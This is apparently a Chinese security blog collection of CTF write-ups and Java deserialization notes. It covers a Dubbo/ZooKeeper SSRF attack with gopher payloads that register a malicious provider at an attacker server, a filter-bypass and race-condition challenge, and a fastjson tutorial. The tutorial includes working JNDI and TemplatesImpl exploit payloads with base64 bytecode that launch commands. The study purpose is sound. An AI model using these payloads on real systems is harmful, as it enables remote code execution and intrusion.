打入流量发现已经有新的东西生成了。这个就是我们的恶意provider。之后ip改一下即可。

攻击consume

然后准备好我们的javaexp

javaexp编写只需要照着这个,fuzz一下gadget链就行

https://github.com/threedr3am/learnjavabug/tree/master/dubbo/src/main/java/com/threedr3am/bug/dubbo

https://github.com/LFYSec/XCTF2021Final-Dubbo

如果我们可以控制provider的返回数据,那这里就存在一个java反序列化漏洞。

打包好以后放到服务器上运行,作为恶意provider服务器。

然后把上面的ip改成我们服务器的ip。将数据打入zookeeper。

image-20211024110020587

此时zookeeper已经有正确的地址和恶意的地址,因为有负载均衡,所以consume会随机选择一个provider连接。当连接到恶意的provider时,反序列化触发。

image-20211024110221758

那么只要我们这里有一次输出就会执行一次命令。成功复现。

打远程

然后我们就是打远程。首先抓流量,先抓取连接流量

image-20211024160120592

红框标注的是连接流量,我们用上面的方式转换为gopher流量。

%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%30%00%00%00%00%00%00%00%00%00%00%00%10%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

然后我们模拟插入恶意provider。

create /dubbo/dubbo.service.DemoService/providers/dubbo%3A%2F%2F47.97.123.81%3A20890%2Fdubbo.service.DemoService%3Fanyhost%3Dtrue%26application%3Ddubbo-provider%26bean.name%3DServiceBean%3Adubbo.service.DemoService%3A1.0.0%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Ddubbo.service.DemoService%26methods%3DsayHello%26pid%3D41643%26register%3Dtrue%26release%3D2.7.3%26revision%3D1.0.0%26side%3Dprovider%26serialization%3djava%26timestamp%3D1605961792779%26version%3D1.0.0

image-20211024161636221

截取流量包,转换成gopher

%00%00%02%27%00%00%00%02%00%00%00%01%00%00%01%f8%2f%64%75%62%62%6f%2f%64%75%62%62%6f%2e%73%65%72%76%69%63%65%2e%44%65%6d%6f%53%65%72%76%69%63%65%2f%70%72%6f%76%69%64%65%72%73%2f%64%75%62%62%6f%25%33%41%25%32%46%25%32%46%34%37%2e%39%37%2e%31%32%33%2e%38%31%25%33%41%32%30%38%39%30%25%32%46%64%75%62%62%6f%2e%73%65%72%76%69%63%65%2e%44%65%6d%6f%53%65%72%76%69%63%65%25%33%46%61%6e%79%68%6f%73%74%25%33%44%74%72%75%65%25%32%36%61%70%70%6c%69%63%61%74%69%6f%6e%25%33%44%64%75%62%62%6f%2d%70%72%6f%76%69%64%65%72%25%32%36%62%65%61%6e%2e%6e%61%6d%65%25%33%44%53%65%72%76%69%63%65%42%65%61%6e%25%33%41%64%75%62%62%6f%2e%73%65%72%76%69%63%65%2e%44%65%6d%6f%53%65%72%76%69%63%65%25%33%41%31%2e%30%2e%30%25%32%36%64%65%70%72%65%63%61%74%65%64%25%33%44%66%61%6c%73%65%25%32%36%64%75%62%62%6f%25%33%44%32%2e%30%2e%32%25%32%36%64%79%6e%61%6d%69%63%25%33%44%74%72%75%65%25%32%36%67%65%6e%65%72%69%63%25%33%44%66%61%6c%73%65%25%32%36%69%6e%74%65%72%66%61%63%65%25%33%44%64%75%62%62%6f%2e%73%65%72%76%69%63%65%2e%44%65%6d%6f%53%65%72%76%69%63%65%25%32%36%6d%65%74%68%6f%64%73%25%33%44%73%61%79%48%65%6c%6c%6f%25%32%36%70%69%64%25%33%44%34%31%36%34%33%25%32%36%72%65%67%69%73%74%65%72%25%33%44%74%72%75%65%25%32%36%72%65%6c%65%61%73%65%25%33%44%32%2e%37%2e%33%25%32%36%72%65%76%69%73%69%6f%6e%25%33%44%31%2e%30%2e%30%25%32%36%73%69%64%65%25%33%44%70%72%6f%76%69%64%65%72%25%32%36%73%65%72%69%61%6c%69%7a%61%74%69%6f%6e%25%33%64%6a%61%76%61%25%32%36%74%69%6d%65%73%74%61%6d%70%25%33%44%31%36%30%35%39%36%31%37%39%32%37%37%39%25%32%36%76%65%72%73%69%6f%6e%25%33%44%31%2e%30%2e%30%ff%ff%ff%ff%00%00%00%01%00%00%00%1f%00%00%00%05%77%6f%72%6c%64%00%00%00%06%61%6e%79%6f%6e%65%00%00%00%00

然后把两部分拼接到一起,套上gopher打一下本地。成功插入

http://localhost/?url=gopher://192.168.75.137:9991/_%2500%2500%2500%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2575%2530%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2510%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2527%2500%2500%2500%2502%2500%2500%2500%2501%2500%2500%2501%25f8%252f%2564%2575%2562%2562%256f%252f%2564%2575%2562%2562%256f%252e%2573%2565%2572%2576%2569%2563%2565%252e%2544%2565%256d%256f%2553%2565%2572%2576%2569%2563%2565%252f%2570%2572%256f%2576%2569%2564%2565%2572%2573%252f%2564%2575%2562%2562%256f%2525%2533%2541%2525%2532%2546%2525%2532%2546%2534%2537%252e%2539%2537%252e%2531%2532%2533%252e%2538%2531%2525%2533%2541%2532%2530%2538%2539%2530%2525%2532%2546%2564%2575%2562%2562%256f%252e%2573%2565%2572%2576%2569%2563%2565%252e%2544%2565%256d%256f%2553%2565%2572%2576%2569%2563%2565%2525%2533%2546%2561%256e%2579%2568%256f%2573%2574%2525%2533%2544%2574%2572%2575%2565%2525%2532%2536%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%2525%2533%2544%2564%2575%2562%2562%256f%252d%2570%2572%256f%2576%2569%2564%2565%2572%2525%2532%2536%2562%2565%2561%256e%252e%256e%2561%256d%2565%2525%2533%2544%2553%2565%2572%2576%2569%2563%2565%2542%2565%2561%256e%2525%2533%2541%2564%2575%2562%2562%256f%252e%2573%2565%2572%2576%2569%2563%2565%252e%2544%2565%256d%256f%2553%2565%2572%2576%2569%2563%2565%2525%2533%2541%2531%252e%2530%252e%2530%2525%2532%2536%2564%2565%2570%2572%2565%2563%2561%2574%2565%2564%2525%2533%2544%2566%2561%256c%2573%2565%2525%2532%2536%2564%2575%2562%2562%256f%2525%2533%2544%2532%252e%2530%252e%2532%2525%2532%2536%2564%2579%256e%2561%256d%2569%2563%2525%2533%2544%2574%2572%2575%2565%2525%2532%2536%2567%2565%256e%2565%2572%2569%2563%2525%2533%2544%2566%2561%256c%2573%2565%2525%2532%2536%2569%256e%2574%2565%2572%2566%2561%2563%2565%2525%2533%2544%2564%2575%2562%2562%256f%252e%2573%2565%2572%2576%2569%2563%2565%252e%2544%2565%256d%256f%2553%2565%2572%2576%2569%2563%2565%2525%2532%2536%256d%2565%2574%2568%256f%2564%2573%2525%2533%2544%2573%2561%2579%2548%2565%256c%256c%256f%2525%2532%2536%2570%2569%2564%2525%2533%2544%2534%2531%2536%2534%2533%2525%2532%2536%2572%2565%2567%2569%2573%2574%2565%2572%2525%2533%2544%2574%2572%2575%2565%2525%2532%2536%2572%2565%256c%2565%2561%2573%2565%2525%2533%2544%2532%252e%2537%252e%2533%2525%2532%2536%2572%2565%2576%2569%2573%2569%256f%256e%2525%2533%2544%2531%252e%2530%252e%2530%2525%2532%2536%2573%2569%2564%2565%2525%2533%2544%2570%2572%256f%2576%2569%2564%2565%2572%2525%2532%2536%2573%2565%2572%2569%2561%256c%2569%257a%2561%2574%2569%256f%256e%2525%2533%2564%256a%2561%2576%2561%2525%2532%2536%2574%2569%256d%2565%2573%2574%2561%256d%2570%2525%2533%2544%2531%2536%2530%2535%2539%2536%2531%2537%2539%2532%2537%2537%2539%2525%2532%2536%2576%2565%2572%2573%2569%256f%256e%2525%2533%2544%2531%252e%2530%252e%2530%25ff%25ff%25ff%25ff%2500%2500%2500%2501%2500%2500%2500%251f%2500%2500%2500%2505%2577%256f%2572%256c%2564%2500%2500%2500%2506%2561%256e%2579%256f%256e%2565%2500%2500%2500%2500

image-20211024162229144

然后就可以打远程服务器。

上传java exp到vps上

image-20211024162847366

远程有点问题,本地能打进数据,远程就是不行。(可能环境有问题?)

image-20211024170652230

手动create一下弹到shell

image-20211024170706399

non_RCE复现

首先放出官方WP

https://mp.weixin.qq.com/s/yQ-00YaykUe41S0DdlgoiQ

面向官方WP复现一下

认证绕过

首先直接访问admin的话会401。我们来看一下代码

因为LoginFilterAdminServleturlPatterns是相同的。所以经过AdminServlet的时候一定会经过LoginFilter

在这里,必须知道password才能通过认证,但是题目又说,不可能得到密码。所以就需要绕了。

image-20210812150847045

所以接下来的思路也很明确,就是如何能绕过LoginFilter。在AntiUrlAttackFilter中,有一段代码比较可疑:

image-20210812151110752

这里吧./;替换成了空,然后使用forward进行了转发。通过forward就能绕过LoginFilter了。

image-20210812152711552

因为这里只拦截/admin/请求,所以我们从AntiUrlAttackFilter过来的请i去就不会拦截

http://127.0.0.1:8080/;admin/importData

这里把;替换为空后转发。

image-20210812154538109

现在能访问admin了。

image-20210812154507809

里面是一段mysql连接。

黑名单检测绕过

这里预期解是利用mysql jdbc的反序列化

jdbcUrl是我们可控的。但是有过滤

image-20210812155150593

搜一下autoDeserialize就能发现一些文章。

https://www.anquanke.com/post/id/203086

过滤之后dbc url包含%或者autoDeserialize关键字都无法通过校验,导致doGet中直接return而无法进入下面的jdbc连接部分。

这里的预期解是利用黑名单检测逻辑存在的条件竞争问题,来绕过黑名单检测机制,黑名单检测几个关键的逻辑如下:

image-20210812160540962

可以看到,这里生成了一个单例BlackListChecker对象,也就是说,在整个程序生命周期中,最多只会生成1个BlackListChecker对象,而tomcat在同时处理多个http请求时,会起多个线程,每个线程都会调用Servlet的处理逻辑,因此,在这里会有多个线程同时调用servlet.AdminServlet#doGet方法。

而如之前所说,整个程序生命周期中最多只会生成1个BlackListChecker对象,因此,这里存在多个线程对同一个对象做操作的情况。而在黑名单的检测逻辑checker.BlackListChecker#check方法中,会把待检测的字符串设置到BlackListChecker对象的toBeChecked成员变量中,再从toBeChecked中拿出来做字符串contains检测,因此,这里存在多个线程对同一个对象做写操作的情况,存在条件竞争问题。

这样一来,当恶意的jdbcUrl被绑定后。本来要进行check但接着马上有线程来一个正常的jdbcUrl,而只有一个实例,这时候会过了check,实例并不会进行拦截,因此恶意的jdbcUrl也得以继续执行。

然后就是自己搭一个恶意mysql服务器来打。

寻找利用链

为了方便调试,我们自己先写个exp框架用于本地调试

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class exp {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args){


        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        // 本地测试触发
        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

image-20210812162222812

我们可以通过pom.xml发现使用了aspectjweaver。

image-20210812162257019

所以确定是用这个打的。

这道题和ysoserial不同的地方就是这道题是没有cc链的。而他自己写了一个DataMap类。是出题人为了防止不懂原理,直接用工具梭出来弄的。

在ysoserial中已经由gadget链了

image-20210812165152826

从这个链,我们可以得知漏洞触发点在SimpleCache$StorableCachingMap.writeToPath()

漏洞点:可以写文件

image-20210812165704481

所以我们需要找一个调用put函数,且参数可控的地方来触发这个漏洞。

我们从DataMap里寻找,发现了

image-20210812170311321

这里使用了put方法。所以我们要想办法往这里靠。

继续看DataMap源码。发现DataMap#Entry中有hashcode方法,其中调用getValue然后调用了get方法。

image-20210812180406365

而根据gadget chain。

image-20210812180449196

只需要将key设置为DataMap#Entry类即可

所以利用链

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            DataMap$Entry.hashcode
                DataMap$Entry.getValue()
                    DataMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

参考

https://www.cnblogs.com/sijidou/p/14631154.html

什么是fastjson

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

序列化

用IDEA创建一个空的Maven项目

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

新建一个Demo

Student.java

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

Ser.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("Yang_99");
        student.setAge(80);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

这里SerializerFeature.WriteClassNametoJSONString的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

反序列化

序列化之后就是反序列化。

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring="{\"@type\":\"Student\",\"age\":21,\"name\":\"Yang_99\"}";
//        System.out.println(JSON.parse(jsonstring));
//        System.out.println(JSON.parseObject(jsonstring));
        System.out.println(JSON.parseObject(jsonstring,Student.class));

    }
}

image-20210502135115488

第一种和第二种是不能成功反序列化的,因为他们没有指定到底是哪个对象。所以不能正确转换。

正确的做法是:

image-20210502140119836

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

import java.io.IOException;

public class Student {
    private String name;
    private int age;
    private String sex;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("cmd /c calc");
    }
}

Unser.java

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
//        System.out.println(JSON.parseObject(jsonstring,Student.class));

    }
}

成功弹出计算器。

Fastjson反序列化流程分析

image-20210819110951977

下断点进入parseObject

image-20210819114125302

然后进入parse方法。继续根进

image-20210819114225156

然后会创建一个DefaultJSONParser对象。

image-20210819114345114

经过判断解析的字符串是{还是[并设置token值,进入了parse方法

image-20210819114631103

因为之前设置了12(开头是{)

image-20210819114721509

之后继续跟踪进入parseObject方法

image-20210820092220349

这里的key会获得@type

然后通过TypeUtils.loadClass加载Class。

进入之后,首先会在mappings里寻找类。前面的条件都不满足,所以在这里找到了Student类

image-20210820092749446

接着就创建了ObjectDeserializer类调用了deserializer方法

image-20210820092947038

跟进getDeserializer方法image-20210820093429846

这里虽然进行了黑名单校验,但是黑名单只有Thread。

image-20210820093640722

最终成功到达了反序列化点

image-20210820093852907

进入一些set,get方法,弹到计算器

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类badClassName.class

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            ;
        }
    }
}

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

运行弹出计算器

image-20210820161320392

漏洞分析

image-20210820161631891

如上文,跟到这个地方,准备反序列化这个类

image-20210820162009222

然后进入了setDataSourceName方法。

接着调用了setAutoCommit

image-20210820162659143

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

image-20210820163218030

这里的this.getDataSourceName()即为前面我们可控的值,所以就造成了JNDI注入漏洞。

调用栈如下

image-20210820163405650

LDAP和RMI区别不大

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

把它生成的字节码拿去base64一下得到

yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=

POC如下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parse(payload, Feature.SupportNonPublicField);
    }
}

漏洞分析

还是跟刚才一样,前面的部分是一样的,我们看一下

image-20210820175415818

跟进parseField方法

image-20210823111607395

image-20210823111629512

解析出_bytecodes对应内容后,调用setValue()函数设置对应的值。这里value即为恶意二进制内容。继续跟进

image-20210823111936163

使用lset方法来设置_bytecodes的值。

接着解析到了_outputProperties的内容

image-20210823112358183

进入setValue

image-20210823112852951

这里调用了反射的invoke方法。使用反射,调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法。

image-20210823113224746

至于Templates的链子,请移步CC3链子的分析。这里只做简单跟踪

image-20210823113516896

最终执行字节码

image-20210823115757725

参考:http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/8979

前言

因为祥云杯上有一道Java题目,且当时苦与不会jar包调试。所以花了很长时间。

jar包远程调试

关于远程调试的参数。

当我们配好运行配置的时候

image-20210902172118559

这里就已经显示了要加的JVM参数

此时到命令行里运行

java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005" -jar web.jar

然后再点击调试。如果显示:

image-20210902172247919

那么就可以调试。

但是此时,你是不能进入断点的。因为你本地没有web.jar的代码。

给项目文件加一个lib文件夹

image-20210902172450242

把所有jar包(这里指的是web.jar里面本来的jar包)都放进去

image-20210902172543084

这时候我们自己做一个"web.jar"

将web.jar解压,然后进入这个地方,打包这个classes

image-20210902172625595

把classes.zip改名为web.jar塞进上面的lib文件夹中。

这样做的目的是为了保证lib文件夹里的内容和远程一样,可以进入顺利进入断点。

image-20210902172910017

然后在这里把刚才的lib文件夹加入进来。

然后打个断点发个包就进入了我们自己压缩的jar包

image-20210902173052278

当然反序列化点也没什么问题

image-20210902173128415

调试信息也出现在我们的shell中

image-20210902173153543

这样就达到了调试fat-jar包的目的。

JDK7u21

在前面的CommonsCollections这些利用链中,必须依靠第三方jar包 才能反序列化。

JDK7u21的核心是sun.reflect.annotation.AnnotationInvocationHandler

我们查看equalsImpl方法

image-20210812091159977

发现这里有一个反射调用memberMethod.invoke(),而memberMethod来自于this.type.getDeclaredMethods()

也就是说,equalsImpl这个方法是将this.type类中的所有方法遍历执行了。那么假设this.type是Templates类。那么就会执行其中的newTransformer()getOutputProperties() 方法,进而触发任意代码执行。

如何调用equalsImpl

image-20210812110356835

我们看到在invoke方法中调用了equalsImpl。

